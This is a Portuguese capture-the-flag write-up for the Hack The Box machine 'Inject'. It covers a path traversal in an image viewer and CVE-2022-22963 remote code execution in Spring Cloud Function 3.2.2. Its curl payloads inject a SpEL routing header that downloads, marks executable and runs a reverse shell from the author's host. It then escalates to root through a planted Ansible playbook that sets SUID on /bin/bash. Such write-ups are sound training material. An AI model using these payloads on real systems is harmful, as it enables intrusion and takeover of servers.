Inject é uma máquina Linux de dificuldade fácil, sendo a segunda máquina da Open Beta Season.

Banner


Essa máquina possui duas portas abertas 22 e 8080, onde a primeira é o serviço de SSH e a segunda uma aplicação Web, como pode ser visto pelo scan do nmap. Diferente de outras máquinas do Hack The Box, nessa não é necessário adicionar um domínio da aplicação ao arquivo de hosts.

Nmap

Ao acessar a aplicação web encontramos uma página sobre armazenamento de arquivos na nuvem. O botão de “Log in” não leva a lugar algum e o de “Sign Up” redireciona para uma página em construção. Já os botões no canto superior esquerdo mantêm na mesma página, com exceção do “Blog” que redireciona para o /blog que contém três posts. O mais interessante é o botão de “Upload” no canto superior esquerdo.

Aplicação Web

Na página de upload podemos enviar arquivos, porém apenas imagens são permitidas, então não é possível carregar uma webshell.

Upload

Quando inserimos um arquivo válido e enviamos aparece um link para que possamos visualizar a imagem.

Uploaded

Na página /show_image podemos alterar o valor da variável “img” que antes continha o nome do arquivo que enviamos. Alterando para outro arquivo podemos ver seu conteúdo, assim encontramos uma vulnerabilidade de Path Traversal.

Path Traversal

Olhando pelos arquivos do sistema é possível encontrar o código-fonte da aplicação web e as dependências do projeto. Uma das dependências é o Spring Cloud Function na versão 3.2.2 que possui uma vulnerabilidade de Remote Code Execution (RCE), CVE-2022-22963.

Dependências

Para essa vulnerabilidade há PoCs disponíveis na internet. Um exemplo é a desse repositório do me2nuk, CVE-2022-22963.

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v

Com essa vulnerabilidade não consegui escrever algo no arquivo criado, então utilizei o curl para baixar uma shell reversa da minha máquina.

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.121:8000/lucas.rev -o /tmp/lucas.rev")' --data-raw 'data' -v

Upload da revshell

Então para obter a shell reversa do alvo, precisamos dar permissão de execução e executar o arquivo.

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/lucas.rev")' --data-raw 'data' -v

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/lucas.rev")' --data-raw 'data' -v

Assim conseguimos acesso como o usuário frank.

frank

Em um arquivo de configurações que estava escondido em um diretório na home do frank, há a senha do usuário phil. E na home dele encontra-se a flag de usuário.

phil

Com a ferramenta pspy é possível ver que está sendo executado um playbook do ansible pelo root.

pspy

O usuário phil tem permissão de criar arquivo na pasta em que está sendo executado o playbook. Dessa forma podemos adicionar um novo playbook que será executado como root possibilitando o escalonamento de privilégios.

Esse playbook apenas executará o comando “chmod u+s /bin/bash” que adiciona o SUID ao bash, assim outros usuários poderão executar a shell como o usuário root.

root

Após alguns segundos o playbook é executado e podemos se tornar root com “bash -p”. Como podemos ver o EUID, que é o ID de quem está executando a shell, é do root. Agora podemos ler a flag root.txt.